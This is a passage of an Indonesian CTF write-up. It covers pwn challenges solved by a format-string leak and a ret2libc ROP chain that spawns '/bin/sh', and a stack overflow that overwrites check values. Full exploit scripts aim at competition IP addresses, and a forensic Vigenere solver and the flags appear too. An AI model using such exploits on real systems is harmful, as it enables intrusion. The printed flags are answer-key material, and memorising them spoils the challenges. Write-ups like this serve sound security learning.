📌 **Bug:** overflow buffer
📌 **Proteksi:** ada stack canary → **harus di-leak dulu**
---
#### 4. Strategi Eksploitasi
##### Step 1 – Leak Informasi (Format String)
Menggunakan payload:
```
%23$p|%29$p|%33$p
```
Menghasilkan:
* `%23$p` → **stack canary**
* `%29$p` → **libc leak**
* `%33$p` → **address main (PIE)**
##### Step 2 – Hitung Base Address
Dari libc yang disediakan:
| Item | Offset |
| ------------ | ---------- |
| system | `0x58750` |
| "/bin/sh" | `0x1cb42f` |
| pop rdi; ret | `0x10f78b` |
| ret | `0x2882f` |
| libc leak | `0x2a1ca` |
| main | `0x1543` |
Rumus:
```python
libc_base = libc_leak - 0x2a1ca
pie_base = main_leak - 0x1543
```
---
##### Step 3 – ROP Chain
Target:
```c
system("/bin/sh");
```
ROP:
```
ret
pop rdi
"/bin/sh"
system
```
---
#### 5. Payload Overflow
Layout stack:
```
[ buffer 0x48 ]
[ canary ]
[ saved rbp ]
[ ret ]
[ pop rdi ]
[ "/bin/sh" ]
[ system ]
```
---
#### 6. Exploit Script
```python
from pwn import *
import re
io = remote("68.183.184.97", 8844)
OFF_SYSTEM = 0x58750
OFF_BINSH = 0x1cb42f
OFF_POPRDI = 0x10f78b
OFF_RET = 0x2882f
OFF_LIBC = 0x2a1ca
OFF_MAIN = 0x1543
io.recvuntil(b"Choice >")
io.sendline(b"1")
io.recvuntil(b"> ")
io.sendline(b"%23$p|%29$p|%33$p")
data = io.recvuntil(b"Totally not random")
leak = re.search(
rb"(0x[0-9a-f]+)\|(0x[0-9a-f]+)\|(0x[0-9a-f]+)", data
)
canary = int(leak.group(1), 16)
libc_l = int(leak.group(2), 16)
main_l = int(leak.group(3), 16)
libc_base = libc_l - OFF_LIBC
pie_base = main_l - OFF_MAIN
system = libc_base + OFF_SYSTEM
binsh = libc_base + OFF_BINSH
poprdi = libc_base + OFF_POPRDI
ret = libc_base + OFF_RET
io.recvuntil(b"Choice >")
io.sendline(b"2")
io.recvuntil(b"> ")
payload = b"A"*0x48
payload += p64(canary)
payload += b"B"*8
payload += p64(ret)
payload += p64(poprdi)
payload += p64(binsh)
payload += p64(system)
io.send(payload)
io.interactive()
```
---
#### 7. Hasil
Setelah exploit dijalankan:

🎉 **Shell berhasil didapatkan dan flag terbaca**
**Flag : INFENTRA{s1mpl3_pwn_pl34s3_1_n33d3d_my_m0m_k1nd4_h0mb0y}**
---
### <center><a id="15"> DEFUSE PLEASE </a></center>
<center>380</center>
<center>Hidup, berjuang, terobsesi
Asalkan aku bisa berbagi semuanya denganmu
Kemarin, hari ini, besok
Hujan, cerah
Neraka dan kembali, awal, di antaranya
Hingga akhir zaman</center>
#### Analisis Awal
Saat terhubung ke server:
```
$ nc 68.183.184.97 6969
[LOG] <80 bytes random data>
Stage 1/10
Enter code:
>
```
Terlihat:
* Program mencetak `[LOG]` diikuti **80 byte data mentah**
* Lalu ada **10 stage**
* Tiap stage meminta “kode”
Jika 80 byte tersebut diperhatikan, ukurannya pas untuk:
```
10 × 8 byte (uint64)
```
Artinya besar kemungkinan **kode setiap stage disimpan sebagai array uint64**.
#### Analisis Kerentanan (Vulnerability)
##### Stack Layout (hasil reversing / disassembly)
* Input dibaca ke buffer stack pada offset:
```
rsp + 0x60
```
* Nilai yang diverifikasi pada tiap stage berada di:
```
rsp + 0x260
```
* Selisih offset:
```
0x260 - 0x60 = 0x200 (512 byte)
```
##### Bug utama
Program membaca input **tanpa batas panjang** sampai newline (`\n`).
Artinya kita bisa melakukan **stack buffer overflow** dan menimpa variabel verifikasi stage.
#### Teknik Eksploitasi
Alih-alih menebak angka:
* Kita **menimpa langsung** variabel yang dibandingkan program.
Payload untuk tiap stage:
```
"A" * 0x200 + p64(stage_value) + "\n"
```
Penjelasan:
* `0x200 byte` → mengisi buffer sampai tepat sebelum variabel check
* `p64(stage_value)` → menulis nilai yang benar ke slot verifikasi
* Program membandingkan nilai → **langsung accepted**
#### Strategi Penyelesaian
1. Terima output `[LOG]`
2. Ambil **80 byte raw data**
3. Pecah menjadi **10 buah uint64 (little-endian)**
4. Untuk setiap stage:
* Kirim payload overflow berisi nilai stage yang sesuai
5. Setelah stage ke-10, server mencetak flag
#### Exploit Code
```python
#!/usr/bin/env python3
import socket, struct
HOST = "68.183.184.97"
PORT = 6969
def recv_until(s, marker):
data = b""
while marker not in data:
data += s.recv(1)
return data
def recv_exact(s, n):
data = b""
while len(data) < n:
data += s.recv(n - len(data))
return data
s = socket.create_connection((HOST, PORT))
# Terima banner sampai [LOG]
recv_until(s, b"[LOG] ")
# Ambil 80 byte (10 x uint64)
raw = recv_exact(s, 80)
recv_exact(s, 1) # newline
stages = [
struct.unpack("<Q", raw[i*8:(i+1)*8])[0]
for i in range(10)
]
for i in range(10):
recv_until(s, b"Enter code:\n> ")
payload = b"A" * 0x200 + struct.pack("<Q", stages[i]) + b"\n"
s.sendall(payload)
# Baca output akhir (flag)
print(s.recv(4096).decode(errors="ignore"))
```
---
#### Hasil

**Flag : INFENTRA{unsafe_unsafe_vibe_vibe_Vibe_codeing_3ace5439cab327b0b30cfea31cf986d663a3aafb2839f372f77f87b9}**
---
## <a id=Forensic> Forensic </a>
### <center><a id="12"> WELDONE </a></center>
<center>330</center>
<center>[DOWNLOAD DISINI](https://drive.google.com/file/d/12r3XOIw4YM_Jt14eW8pSwUSwWDO1jcEh/view?usp=sharing)
NO DESC</center>
Foremost pcapng nya, ada banyak foto yang corrupted, tetapi pada beberapa file ada yang bisa dibaca, karena males nyari tools, mending manual aja
Contoh file yang bisa dibaca:

lempar gpt, dikasih solver:
```python=
def vigenere_decrypt(cipher, key):
key = key.upper()
plain = []
key_idx = 0
for char in cipher:
if char.isalpha():
shift = ord(key[key_idx % len(key)]) - ord('A')
if char.isupper():
base = ord('A')
else:
base = ord('a')
p = (ord(char) - base - shift) % 26
plain.append(chr(base + p))
key_idx += 1
else:
plain.append(char)
return "".join(plain)
cipher = "j0z3q_t1xm_v5_g0_zv00q_rd3az_g0_eqz_l3z0_w4vg_3kh"
key = "XEDOMANN"
print(f"Key: {key}")
print(f"Decoded: {vigenere_decrypt(cipher, key)}")
# Also try the leet speak conversion first
leet_map = {'0': 'o', '3': 'e', '1': 'i', '5': 's', '4': 'a'}
cipher_leet = ""
for c in cipher:
cipher_leet += leet_map.get(c, c)
print(f"Leet decoded first: {cipher_leet}")
print(f"Vigenere on Leet: {vigenere_decrypt(cipher_leet, key)}")
```
Output:

**Flag : INFENTRA{m0v3n_f1lm_i5_t0_cr00n_dr3am_t0_hmw_x3n0_w4it_3nd}**
---
### <center><a id="11"> AKU BAIK </a></center>
<center>440</center>
<center>AK..K..U.. B..A..I..K..K..O..K
</center>
Mff ga detail ini WU dibikin jam 08:57 (deadline jam 9 jir)





**Flag : INFENTRA{S0_iN1_4d4l4h_f1r57_f0r3ns1k_ch4ll_ku_s3mog4_kal1an_suk4_7b7f1c7c95ac1d741ce1a73f6370346e}**
---